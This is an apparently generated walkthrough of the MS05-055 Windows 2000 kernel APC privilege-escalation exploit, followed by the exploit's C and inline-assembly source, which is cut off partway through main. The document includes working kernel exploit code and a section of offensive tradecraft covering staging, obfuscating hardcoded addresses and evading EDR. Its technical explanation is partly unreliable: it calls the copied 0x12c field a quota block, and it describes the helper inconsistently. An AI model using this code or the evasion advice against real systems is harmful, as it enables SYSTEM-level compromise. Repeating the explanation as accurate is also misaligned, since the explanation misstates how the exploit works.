Microsoft Windows Server 2000 Kernel - APC Data-Free Local Escalation (MS05-055) Explained

Microsoft Windows Server 2000 Kernel - APC Data-Free Local Escalation (MS05-055) Explained
What this paper is
This paper details a local privilege escalation vulnerability in Microsoft Windows Server 2000. The vulnerability, identified as MS05-055, allows a low-privileged user to gain elevated privileges by exploiting how the kernel handles Asynchronous Procedure Calls (APCs) when certain kernel objects are manipulated. The provided exploit code demonstrates a method to trigger this vulnerability and achieve this escalation.
Simple technical breakdown
The core of the vulnerability lies in the kernel's handling of APCs. When an APC is queued to a thread, the kernel needs to associate it with a specific object, often an EPROCESS structure (representing a process). In this vulnerable implementation, if an EPROCESS object is manipulated in a specific way, particularly its quota block, the kernel can be tricked into using a corrupted or "data-free" pointer when processing the APC. This corrupted pointer can then be redirected to execute arbitrary code in kernel mode, effectively granting the attacker SYSTEM-level privileges.
The exploit works by:
- Setting up a vulnerable state: The exploit carefully crafts kernel structures, specifically the
EPROCESS_QUOTA_BLOCK, to create a condition where the kernel's APC handling becomes unstable. - Creating a target thread: A new thread is created and suspended. This thread will be the target for the APC.
- Queueing a malicious APC: The exploit queues an APC to the target thread. Due to the vulnerable state, when the kernel attempts to process this APC, it uses a corrupted pointer.
- Redirecting execution: This corrupted pointer is manipulated to point to a location that the attacker controls, allowing them to execute arbitrary kernel-mode code.
Complete code and payload walkthrough
The provided exploit consists of two main parts: ms05-055.c (the main exploit) and helper.c (commented out, but its functionality is integrated into the main exploit).
ms05-055.c (Main Exploit)
This is the primary C source file.
Includes and Definitions:
stdio.h,stdlib.h,string.h,windows.h: Standard Windows API headers.NTSTATUS: Typedef forULONG, used for NT status codes.ProcessBasicInformation: Constant0, used forZwQueryInformationProcess.PKNORMAL_ROUTINE: Typedef for a function pointer that takes threePVOIDarguments and returnsVOID. This is the signature for APC routines.- Structs:
_UNICODE_STRING: Standard kernel structure for Unicode strings._PROCESS_BASIC_INFORMATION: Kernel structure containing basic process information, includingPebBaseAddressandUniqueProcessId._EPROCESS_QUOTA_BLOCK: Kernel structure related to process resource quotas. The exploit manipulates fields within this structure._OBJECT_TYPE_INITIALIZER: Kernel structure for initializing object types._OBJECT_TYPE: Kernel structure representing an object type in the kernel._OBJECT_HEADER: Kernel structure that precedes kernel objects in memory, containing reference counts, type information, etc.
Kernel Function Stubs (__declspec(naked)):
These are custom implementations of NT kernel functions using inline assembly. They directly invoke the system call interrupt (int 0x2e) with specific system service numbers.
ZwQueueApcThread:- Purpose: Queues an APC to a specified thread.
- System Service Number:
0x9e(mov eax, 0x9e). - Arguments:
hThread,ApcRoutine,ApcContext,Argument1,Argument2. - Behavior: The
int 0x2einstruction triggers the kernel to execute the system call. Theret 0x14handles stack cleanup for the arguments passed. - Practical Purpose: This is the core function used to deliver the malicious APC to the target thread.
ZwAlertThread:- Purpose: Alerts a specified thread, potentially waking it up or making it ready to process APCs.
- System Service Number:
0x0c(mov eax, 0x0c). - Arguments:
hThread. - Behavior: Similar to
ZwQueueApcThread, it usesint 0x2eto call the kernel.ret 0x4cleans the stack. - Practical Purpose: Used to ensure the target thread is in a state where it can receive and process the queued APC.
ZwQueryInformationProcess:- Purpose: Retrieves information about a process.
- System Service Number:
0x86(mov eax, 0x86). - Arguments:
ProcessHandle,InformationClass,ProcessInformation,ProcessInformationLength,ReturnLength. - Behavior: Standard system call for process information retrieval.
- Practical Purpose: Used in the exploit to get the
InheritedFromUniqueProcessIdof the current process, which is needed to identify the parent process.
Global Variables:
hTargetThread: Stores the handle to the thread that will receive the APC.ParentProcessId: Stores the Process ID of the parent process.
Callback Functions:
APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2):- Purpose: A simple function that prints a message. This is the function that will be executed by the kernel when the APC is processed.
- Behavior: Prints the
pApcContextstring to the console. - Practical Purpose: In the context of the exploit, this function is intended to be the payload executed in kernel mode. The exploit aims to overwrite its address or redirect execution to it.
ErrorQuit(char *msg):- Purpose: Prints an error message and terminates the process.
- Behavior: Uses
printfandExitProcess(0). - Practical Purpose: Standard error handling for the exploit.
TestThread(PVOID pParam) Function:
- Purpose: This thread is designed to find a specific memory condition related to the kernel's pool allocation and then set up the target thread for the APC injection.
- Behavior:
- It enters an infinite loop, creating suspended threads.
- It retrieves the
CONTEXTof the current thread, specifically looking at theEsp(Stack Pointer). - It analyzes bits within the
Espvalue (PoolType,PoolIndex) to identify a "perfect" condition. This condition likely relates to the memory layout of kernel pool allocations, which the exploit needs to manipulate. - Once the "perfect"
Espis found, it breaks the loop. - It duplicates the handle of the current thread (
GetCurrentThread()) intohTargetThread. This is a crucial step, ashTargetThreadwill be the target for the APC. - It suspends
hTargetThread. - It calls
ZwQueueApcThreadto queueAPCProctohTargetThread. - It prints a message and then terminates itself using
ExitThread(0).
- Practical Purpose: This function is the "worker" that prepares the environment for the exploit. It finds a specific kernel memory state and then sets up the target thread with a suspended APC. The
DuplicateHandleis key to getting a valid handle to the thread that will be targeted by the main exploit logic.
ExploitFunc() Function:
Purpose: This is a naked function containing inline assembly that directly manipulates kernel structures. It's designed to be called as the
DeleteProcedureof a kernel object.Inline Assembly Breakdown:
mov esi, 0xffdff124: Loads a hardcoded address intoesi. This address is likely a pointer to a kernel structure.mov esi, dword ptr [esi]: Dereferences the address inesi, loading the value at that address intoesi. This is likely obtaining a pointer to anEPROCESSstructure.mov eax, dword ptr [esi+0x44]: Accesses an offset (0x44) from theEPROCESSpointer inesiand loads it intoeax. This offset likely points to theProcessQuotaBlockwithin theEPROCESS.mov ecx, 0x8: Setsecxto8. This value is likely a target Process ID (PID) or a specific flag.call FindProcess: Calls theFindProcesssubroutine.mov edx, eax: Saves the result ofFindProcess(likely anotherEPROCESSpointer) intoedx.mov ecx, ParentProcessId: Loads theParentProcessIdintoecx.call FindProcess: CallsFindProcessagain, this time searching for the parent process.mov ecx, dword ptr [edx+0x12c]: Loads a value from an offset (0x12c) within theEPROCESSfound earlier (pointed to byedx) intoecx. This offset likely points to theQuotaBlockpointer within theEPROCESS.mov dword ptr [eax+0x12c], ecx: This is the critical part. It takes theQuotaBlockpointer from the firstEPROCESS(pointed to byedx) and writes it into theQuotaBlockfield (+0x12c) of the secondEPROCESS(pointed to byeax, which was the parent process). This is the "data-free" manipulation, overwriting the legitimate quota block pointer with one from another process.xor ebx, ebx,xor edi, edi: Clearsebxandedi.mov dword ptr [ebp+0xf0], edi: Writes0to an offset within the stack frame.add esp, 0x74,add ebp, 0x10c: Adjusts the stack and base pointer, likely to clean up the stack frame for the called function.ret: Returns from the function.
FindProcessSubroutine:- Purpose: Searches for an
EPROCESSstructure based on a given PID. - Behavior:
mov eax, dword ptr [eax+0xa0]: Starts from anEPROCESSpointer (passed ineax) and follows a pointer at offset0xa0. This offset likely points to theThreadListor a similar structure that allows traversal of processes.sub eax, 0xa0: Adjusts the pointer back.cmp dword ptr [eax+0x9c], ecx: Compares theUniqueProcessId(at offset0x9cinEPROCESS) with the target PID inecx.jne FindProcess: If not equal, loops back to find the next process.ret: Returns theEPROCESSpointer if found.
- Purpose: Searches for an
Practical Purpose: This function is the core of the exploit's kernel manipulation. By overwriting the
QuotaBlockpointer of the parent process with a pointer from another process, it creates a situation where the kernel's APC handling will attempt to use an invalidEPROCESS_QUOTA_BLOCKwhen processing an APC queued to the parent process's thread. This invalid pointer is what leads to the data-free condition.
main(int argc, char *argv[]) Function:
Purpose: The entry point of the exploit, orchestrating the setup and execution.
Behavior:
- Prints introductory messages.
- Checks for the correct number of command-line arguments (expects
helper.exe). - Memory Allocation: Allocates several memory buffers using
VirtualAlloc:pKernelDataat0x1000000: Intended to hold kernel data.pEprocessQuotaBlock: A buffer to simulate a kernelEPROCESS_QUOTA_BLOCK.pObjectHeader: A buffer to simulate a kernelOBJECT_HEADER.pObjectType: A buffer to simulate a kernelOBJECT_TYPE.
- Kernel Structure Emulation: Initializes these allocated buffers to zero and then populates them with values that mimic kernel structures.
pKernelData[0xee] = (ULONG)pEprocessQuotaBlock;: This is crucial. It places the address of the allocatedpEprocessQuotaBlockat a specific offset (0xee) within thepKernelDatabuffer. This offset is likely chosen to align with where the kernel expects to find certain information related to process objects.pEprocessQuotaBlockfields are populated with specific values. These values are chosen to satisfy checks within the kernel's APC handling or object management code, making the manipulated structure appear valid enough to proceed.pObjectHeaderis set up to point topObjectTypeand has itsPointerCountset to1.pObjectType->TypeInfo.DeleteProcedure = ExploitFunc;: This is the key step for triggering the vulnerability. TheDeleteProcedurefield of the simulatedOBJECT_TYPEis set to point to theExploitFuncassembly code. This means that when the kernel attempts to delete or de-reference an object of this type, it will callExploitFunc.
- Thread Setup:
- Creates an event (
hEvent). - Duplicates the handle of the current process (
hProcess). - Creates
TestThreadin a suspended state. - Resumes
TestThreadand waits for the event it signals.
- Creates an event (
- Helper Process Launch:
- Retrieves the current process ID.
- Constructs a command line string
Bufcontaining the path tohelper.exe, thehTargetThreadhandle, and the currentProcessId. - Launches
helper.exeusingCreateProcess. Thishelper.exewill be responsible for opening the target process and thread, and then injecting the APC.
- Parent Process ID Retrieval:
- Waits for the helper process to finish.
- Uses
ZwQueryInformationProcessto get theInheritedFromUniqueProcessIdof the current process, storing it inParentProcessId.
- Final Trigger:
- Resumes
hTargetThread(which was suspended byTestThread). This thread will eventually terminate, triggering the APC queueing logic. - Waits for
hTargetThreadto finish.
- Resumes
- Prints "Exploit finished."
Code Fragment/Block -> Practical Purpose Mapping:
#include <windows.h>: Access to Windows API functions for process and thread management.typedef struct _EPROCESS_QUOTA_BLOCK { ... }: Defines the structure that the exploit manipulates to create the vulnerable state.__declspec(naked) NTSTATUS NTAPI ZwQueueApcThread(...): Custom implementation to call the kernel's APC queuing mechanism.VOID NTAPI APCProc(...): The user-mode function that will be executed as kernel-mode code.TestThread(...): Prepares the target thread and establishes the necessary conditions for the exploit by finding a specific memory state and queuing an APC.__declspec(naked) ExploitFunc(): The core kernel-mode payload. It manipulatesEPROCESSstructures to overwrite theQuotaBlockpointer of the parent process.main(...): Orchestrates the entire exploit: memory allocation, structure setup, thread creation, helper process launch, and final trigger.pKernelData[0xee] = (ULONG)pEprocessQuotaBlock;: Places the address of the crafted quota block into a kernel-like data structure.pObjectHeader->Type = pObjectType;: Links the simulated object header to the simulated object type.pObjectType->TypeInfo.DeleteProcedure = ExploitFunc;: Sets the vulnerability trigger – callingExploitFuncwhen the object is deleted/dereferenced.strcpy(Buf, argv[1]); ... itoa((int)hTargetThread, pParam, 10); ... itoa(ProcessId, pParam, 10);: Constructs the command line for the helper process, passing critical handles and IDs.CreateProcess(NULL, Buf, ...): Launches the helper process to perform remote operations.ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, ...): Retrieves the parent process ID.ResumeThread(hTargetThread);: Initiates the final stage of the exploit by allowing the target thread to proceed.
helper.c (Commented Out, Functionality Integrated)
The commented-out helper.c code demonstrates what the helper.exe process does. Its functionality is effectively embedded within the main function of ms05-055.c when it calls CreateProcess.
- Purpose: To perform remote operations on the target process and thread.
- Behavior (as described in the commented code):
- Takes
hTargetThreadhandle andProcessIdas command-line arguments. - Opens the target process using
OpenProcess. - Duplicates the
hTargetThreadhandle into the helper process's context. - Allocates memory in the target process using
VirtualAllocEx. - Writes the
ApcProcfunction (or a similar APC routine) into the allocated remote memory usingWriteProcessMemory. - Calls
ZwAlertThreadon the duplicated target thread handle. - Calls
ZwQueueApcThreadto queue the remoteApcProcto the target thread. - Closes handles and terminates the helper process.
- Takes
- Practical Purpose: This helper process is responsible for the remote injection of the APC into the target thread. It needs elevated privileges (or specific handle rights) to
OpenProcessandWriteProcessMemory.
Shellcode/Payload Segment Explanation
The exploit doesn't use traditional shellcode in the sense of raw bytes that are directly executed. Instead, it leverages:
APCProcfunction: This is a user-mode C function that is intended to be executed in kernel mode. The exploit aims to redirect the APC mechanism to execute this function. The actual content ofAPCProcin the main exploit isprintf("%s\n", pApcContext); return;. If this were to execute in kernel mode,pApcContextwould need to be a valid kernel-mode string. However, the exploit's goal is to overwrite the return address or the APC routine pointer to point to a controlled location, not necessarily to execute this specificAPCProcas written. Thehelper.cversion ofApcProcis empty.ExploitFunc()assembly: This is the primary "payload" in terms of achieving privilege escalation. It's not shellcode but a sequence of assembly instructions that directly manipulate kernel data structures. Its purpose is to corrupt theEPROCESSstructure of the parent process by overwriting itsQuotaBlockpointer with a pointer from another process. This corruption is what causes the kernel to enter a data-free state when handling APCs, leading to arbitrary kernel code execution.
Execution Stages:
- Initialization: The main exploit (
ms05-055.exe) starts, allocates memory, and sets up emulated kernel objects (EPROCESS_QUOTA_BLOCK,OBJECT_HEADER,OBJECT_TYPE). Crucially, it links theExploitFuncassembly to theDeleteProcedureof the simulatedOBJECT_TYPE. TestThreadExecution:TestThreadis created and suspended. It runs, finds a specific memory condition, duplicates the current thread's handle intohTargetThread, suspendshTargetThread, and queuesAPCProcto it. It then signals an event.- Helper Process Launch: The main exploit resumes, launches
helper.exewith the target thread handle and process ID. - Helper Process Action:
helper.exeopens the target process, duplicates the thread handle, allocates memory in the target process, writes a remote APC routine (or the address ofAPCProc), alerts the target thread, and queues the remote APC to it. - Parent Process ID Retrieval: The main exploit waits for the helper to finish and retrieves its parent process ID.
- Vulnerability Trigger: The main exploit resumes
hTargetThread. As this thread eventually terminates or is alerted, the kernel attempts to process the queued APC. - Kernel Corruption: When the kernel processes the APC for the parent process, it attempts to access its
QuotaBlock. Because theQuotaBlockpointer was overwritten byExploitFunc(called indirectly via theDeleteProcedureof a manipulated object), the kernel uses a corrupted pointer. - Arbitrary Code Execution: The corrupted pointer leads to a "data-free" condition, allowing the attacker to execute arbitrary code in kernel mode. The exploit aims to redirect execution to a controlled location, which would then perform the privilege escalation (e.g., by impersonating SYSTEM or modifying security tokens). The provided
APCProcitself is simple, but the mechanism allows for more complex kernel payloads.
Practical details for offensive operations teams
- Required Access Level: Local user with the ability to execute programs and create threads/processes. No administrative privileges are required initially.
- Lab Preconditions:
- A vulnerable Windows 2000 system (SP4 or earlier, without MS05-055 patch).
- The exploit executable (
ms05-055.exe) and the helper executable (helper.exe) must be present on the target system. - The exploit requires the helper to be executed from the command line, so the attacker needs a way to transfer and run these files.
- Tooling Assumptions:
- Standard Windows command-line environment.
- The exploit is written in C and compiled for Windows.
- Debugging tools (like WinDbg) would be invaluable for understanding kernel structures and validating exploit behavior in a lab.
- Execution Pitfalls:
- Timing: The exploit relies on specific timing and kernel memory conditions. Race conditions or unexpected kernel activity could cause it to fail.
- Kernel Memory Layout: The hardcoded addresses and offsets (
0xffdff124,0x44,0xa0,0x9c,0x12c,0xee,0x1000000) are highly specific to the tested Windows 2000 versions. Slight variations in service packs or patch levels could break these assumptions. - Antivirus/HIDS: Signature-based detection of the exploit executable or behavioral analysis of thread creation, process spawning, and kernel function calls could flag the activity.
- Helper Process Dependencies: The exploit relies on the helper process being able to successfully open the target process and duplicate handles. If these operations fail due to permissions or other system states, the exploit will fail.
TestThreadStability: TheTestThread's loop for finding the "perfect ESP" might not always succeed quickly or at all on certain systems.ZwQueueApcThreadBehavior: The exact behavior ofZwQueueApcThreadcan be sensitive to the state of the target thread. If the thread is in a very specific state (e.g., already processing an APC), queuing another might behave unexpectedly.
- Tradecraft Considerations:
- Staging: The exploit requires two executables. These would need to be staged carefully.
- Execution Flow: The main exploit launches the helper. The helper performs remote operations. The main exploit then waits for the helper and proceeds to trigger the final kernel escalation.
- Obfuscation: The hardcoded addresses are a significant giveaway. Techniques like dynamic address resolution or obfuscating the assembly code could be considered for evasion.
- Payload Delivery: The
APCProcfunction is very basic. A real-world payload would likely involve more sophisticated kernel-mode code to achieve specific objectives (e.g., adding a user to the Administrators group, dumping credentials, establishing persistence). - Telemetry Evasion: The exploit uses standard Win32 API calls and kernel system calls. Advanced Endpoint Detection and Response (EDR) systems might detect the unusual pattern of thread creation, process spawning, and the specific sequence of
ZwQueueApcThreadandZwAlertThreadcalls. The naked functions callingint 0x2edirectly are also a strong indicator of custom kernel interaction.
Where this was used and when
- Discovery: The vulnerability was discovered and the exploit published by "SoBeIt" on December 25, 2005.
- Publication: The exploit paper was published on Exploit-DB on January 5, 2006.
- Microsoft Security Bulletin: Microsoft released Security Bulletin MS05-055 on November 8, 2005, addressing this vulnerability. This indicates that Microsoft was aware of the issue and had released a patch before this exploit was publicly detailed.
- Usage Context: This exploit targets older Windows 2000 systems. Its primary use would have been by security researchers for testing or by attackers targeting unpatched Windows 2000 environments in the period shortly after the patch was released and before widespread patching occurred. It's unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management: The most critical lesson. MS05-055 was patched by Microsoft in November 2005. Running unpatched systems, especially legacy ones like Windows 2000, is a significant risk. Regular and timely patching is paramount.
- Kernel Object Security: The vulnerability exploits weaknesses in how the kernel manages APCs and object references, particularly concerning quota blocks. Modern operating systems have significantly hardened kernel object management and memory protection.
- Input Validation: Robust validation of kernel object pointers and data structures is essential. The exploit succeeds by providing corrupted data that the kernel trusts too readily.
- Least Privilege: While this is a local privilege escalation, enforcing least privilege for user accounts can limit the impact of a successful exploit. A compromised low-privilege user is still less dangerous than a compromised administrator.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous process and thread behavior, suspicious API calls (especially direct
int 0x2eusage), and attempts to manipulate kernel structures. Behavioral analysis is key. - Memory Forensics: In the event of a suspected compromise, memory forensics can help identify the manipulation of kernel structures and the execution of unauthorized code.
- Deprecation of Legacy Systems: Windows 2000 is long past its end-of-life and should not be used in any production environment due to the sheer number of unpatched vulnerabilities.
ASCII visual (if applicable)
This exploit involves complex kernel interactions and memory manipulation. A simple ASCII diagram can illustrate the core concept of APC queuing and the vulnerability's impact.
+-------------------+ +-------------------+
| Attacker Process | | Target Process |
| (Low Privilege) | | (e.g., Explorer) |
+-------------------+ +-------------------+
| |
| 1. Execute ms05-055.exe |
| (and helper.exe) |
| |
| 2. Create TestThread |
| (Suspended) |
| |
| 3. Queue APC to TestThread|
| (APCProc) |
| |
| 4. Launch helper.exe |
| (with handles/PIDs) |
| |
| 5. helper.exe: |
| - OpenProcess |
| - DuplicateHandle |
| - VirtualAllocEx |
| - WriteProcessMemory |
| - ZwAlertThread |
| - ZwQueueApcThread |
| (Remote APC) |
| |
| 6. Resume hTargetThread |
| |
| 7. Kernel APC Handling: |
| - Target Thread Ready |
| - Kernel checks EPROCESS|
| for APCs. |
| - **VULNERABILITY**: |
| QuotaBlock pointer |
| is corrupted by |
| ExploitFunc. |
| - Kernel uses invalid |
| pointer, leading to |
| arbitrary code exec. |
| |
+---------------------------+
|
| 8. Kernel Mode Execution
| (Privilege Escalation)
|
v
+-------------------+
| SYSTEM Context |
+-------------------+Explanation of Diagram:
- The attacker's process starts the exploit.
- A
TestThreadis created and suspended to prepare the environment. - An APC is queued to this
TestThread. - The main exploit launches
helper.exe, passing necessary information. helper.exeperforms remote operations: opening the target process, allocating memory, writing the APC routine, and queuing the APC to the target thread.- The main exploit resumes the target thread.
- When the kernel processes the APC for the target thread (which is associated with the attacker's process), it attempts to access the
EPROCESSstructure. Due to the manipulation byExploitFunc(called indirectly), theQuotaBlockpointer within theEPROCESSis corrupted. - This corruption leads to arbitrary code execution in kernel mode, allowing the attacker to gain SYSTEM privileges.
Source references
- Paper ID: 1407
- Paper Title: Microsoft Windows Server 2000 Kernel - APC Data-Free Local Escalation (MS05-055)
- Author: SoBeIt
- Published: 2006-01-05
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/1407
- Raw URL: https://www.exploit-db.com/raw/1407
- Microsoft Security Bulletin: MS05-055 (Released November 8, 2005)
Original Exploit-DB Content (Verbatim)
/* helper.c commented out below ms05-055.c /str0ke */
/*
MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
12.25.2005
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Usage:ms05-055.exe helper.exe
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define NTSTATUS ULONG
#define ProcessBasicInformation 0
typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2);
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _EPROCESS_QUOTA_BLOCK {
ULONG QuotaLock;
ULONG ReferenceCount;
ULONG QuotaPeakPoolUsage[2];
ULONG QuotaPoolUsage[2];
ULONG QuotaPoolLimit[2];
ULONG PeakPagefileUsage;
ULONG PagefileUsage;
ULONG PagefileLimit;
} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK;
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN Reserved;
ULONG InvalidAttributes;
UCHAR GenericMapping[0x10];
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
USHORT PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
typedef struct _OBJECT_TYPE {
UCHAR Mutex[0x38];
LIST_ENTRY TypeList;
UNICODE_STRING Name;
PVOID DefaultObject;
ULONG Index;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
OBJECT_TYPE_INITIALIZER TypeInfo;
} OBJECT_TYPE, *POBJECT_TYPE;
typedef struct _OBJECT_HEADER {
ULONG PointerCount;
ULONG HandleCount;
POBJECT_TYPE Type;
UCHAR NameInfoOffset;
UCHAR HandleInfoOffset;
UCHAR QuotaInfoOffset;
UCHAR Flags;
PVOID QuotaBlockCharged;
PVOID SecurityDescriptor;
} OBJECT_HEADER, *POBJECT_HEADER;
__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
HANDLE hThread,
PKNORMAL_ROUTINE ApcRoutine,
PVOID ApcContext,
PVOID Argument1,
PVOID Argument2)
{
__asm
{
mov eax, 0x9e
lea edx, [esp+4]
int 0x2e
ret 0x14
}
}
__declspec(naked)
NTSTATUS
ZwAlertThread(
HANDLE hThread)
{
__asm
{
mov eax, 0x0c
lea edx, [esp+4]
int 0x2e
ret 0x4
}
}
__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
HANDLE ProcessHandle,
ULONG InformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength)
{
__asm
{
mov eax, 0x86
lea edx, [esp+4]
int 0x2e
ret 0x14
}
}
HANDLE hTargetThread;
ULONG ParentProcessId;
VOID NTAPI APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2)
{
printf("%s\n", pApcContext);
return;
}
VOID ErrorQuit(char *msg)
{
printf(msg);
ExitProcess(0);
}
ULONG WINAPI TestThread(PVOID pParam)
{
CONTEXT Context;
ULONG i = 0;
HANDLE hThread, hEvent = (HANDLE)pParam;
int PoolIndex, PoolType;
for(;;)
{
if((hThread = CreateThread(NULL, 0, TestThread, pParam, CREATE_SUSPENDED, NULL)) == NULL)
ErrorQuit("Create thread failed.\n");
Context.ContextFlags = CONTEXT_INTEGER;
if(!GetThreadContext(GetCurrentThread(), &Context))
ErrorQuit("Child thread get context failed.\n");
printf("Child ESP:%x\n", Context.Esp);
PoolType = (Context.Esp >> 16) & 0xff;
PoolIndex = ((Context.Esp >> 8) & 0xff) - 1;
printf("PoolIndex:%2x PoolType:%2x\n", PoolIndex, PoolType);
if((PoolIndex & 0x80) && (PoolType & 0x8) && (PoolType & 0x3) && !(PoolType & 0x20) && !(PoolType & 0x40))
{
printf("Perfect ESP:%x\n", Context.Esp);
break;
}
Sleep(500);
ResumeThread(hThread);
CloseHandle(hThread);
SuspendThread(GetCurrentThread());
}
DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hTargetThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
SetEvent(hEvent);
SuspendThread(hTargetThread);
ZwQueueApcThread(hTargetThread, APCProc, NULL, NULL, NULL);
printf("In child thread. Now terminating to trigger the bug.\n");
ExitThread(0);
return 1;
}
__declspec(naked) ExploitFunc()
{
__asm
{
// int 0x3
mov esi, 0xffdff124
mov esi, dword ptr [esi]
mov eax, dword ptr [esi+0x44]
mov ecx, 0x8
call FindProcess
mov edx, eax
mov ecx, ParentProcessId
call FindProcess
mov ecx, dword ptr [edx+0x12c]
mov dword ptr [eax+0x12c], ecx
xor ebx, ebx
xor edi, edi
mov dword ptr [ebp+0xf0], edi
add esp, 0x74
add ebp, 0x10c
ret
FindProcess:
mov eax, dword ptr [eax+0xa0]
sub eax, 0xa0
cmp dword ptr [eax+0x9c], ecx
jne FindProcess
ret
}
}
int main(int argc, char *argv[])
{
HANDLE hThread, hEvent, hProcess;
PEPROCESS_QUOTA_BLOCK pEprocessQuotaBlock;
POBJECT_HEADER pObjectHeader;
POBJECT_TYPE pObjectType;
ULONG i = 0, ProcessId;
STARTUPINFO si;
PROCESS_INFORMATION pi;
PROCESS_BASIC_INFORMATION pbi;
char Buf[64], *pParam;
PULONG pKernelData;
printf("\n MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 2)
{
printf(" Usage:ms05-055.exe helper.exe. \n\n");
return 1;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if((pKernelData = VirtualAlloc((PVOID)0x1000000, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
ErrorQuit("Allocate pKernelData failed.\n");
if((pEprocessQuotaBlock = VirtualAlloc(NULL, sizeof(EPROCESS_QUOTA_BLOCK), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pEprocessQuotaBlock failed.\n");
if((pObjectHeader = VirtualAlloc(NULL, sizeof(OBJECT_HEADER), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pObjectHeader failed\n");
if((pObjectType = VirtualAlloc(NULL, sizeof(OBJECT_TYPE), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pObjectType failed.\n");
ZeroMemory((PVOID)0x1000000, 0x1000);
ZeroMemory(pEprocessQuotaBlock, sizeof(EPROCESS_QUOTA_BLOCK));
ZeroMemory(pObjectHeader, sizeof(OBJECT_HEADER));
ZeroMemory(pObjectType, sizeof(OBJECT_TYPE));
pKernelData[0xee] = (ULONG)pEprocessQuotaBlock; //0xae = (0x1b8+0x200) / 4
pEprocessQuotaBlock->ReferenceCount = 0x221;
pEprocessQuotaBlock->QuotaPeakPoolUsage[0] = 0x1f4e4;
pEprocessQuotaBlock->QuotaPeakPoolUsage[1] = 0x78134;
pEprocessQuotaBlock->QuotaPoolUsage[0] = 0x1e5e8;
pEprocessQuotaBlock->QuotaPoolUsage[1] = 0x73f64;
pEprocessQuotaBlock->QuotaPoolLimit[0] = 0x20000;
pEprocessQuotaBlock->QuotaPoolLimit[1] = 0x80000;
pEprocessQuotaBlock->PeakPagefileUsage = 0x5e9;
pEprocessQuotaBlock->PagefileUsage = 0x5bb;
pEprocessQuotaBlock->PagefileLimit = 0xffffffff;
pObjectHeader = (POBJECT_HEADER)(0x1000200-0x18);
pObjectHeader->PointerCount = 1;
pObjectHeader->Type = pObjectType;
pObjectType->TypeInfo.DeleteProcedure = ExploitFunc;
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(),
&hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
if((hThread = CreateThread(NULL, 0, TestThread, (PVOID)hEvent, CREATE_SUSPENDED, NULL)) == NULL)
ErrorQuit("Create thread failed.\n");
ResumeThread(hThread);
WaitForSingleObject(hEvent, INFINITE);
printf("The sleep has awaken.\n");
ProcessId = GetCurrentProcessId();
printf("Target thread handle:%x, Target process handle:%x, Process id:%x\n", hTargetThread, hProcess, ProcessId);
pParam = Buf;
strcpy(Buf, argv[1]);
pParam += sizeof(argv[1]);
pParam = strchr(Buf, '\0');
*pParam++ = ' ';
itoa((int)hTargetThread, pParam, 10);
pParam = strchr(Buf, '\0');
*pParam++ = ' ';
itoa(ProcessId, pParam, 10);
printf("%s\n", Buf);
if(!CreateProcess(NULL, Buf, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi ))
ErrorQuit("Create process failed,\n");
CloseHandle(pi.hThread);
CloseHandle(hEvent);
printf("Now waitting for triggering the bug.\n");
WaitForSingleObject(pi.hProcess, INFINITE);
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("Query parent process failed\n");
ParentProcessId = pbi.InheritedFromUniqueProcessId;
printf("Parent process id:%x\n", ParentProcessId);
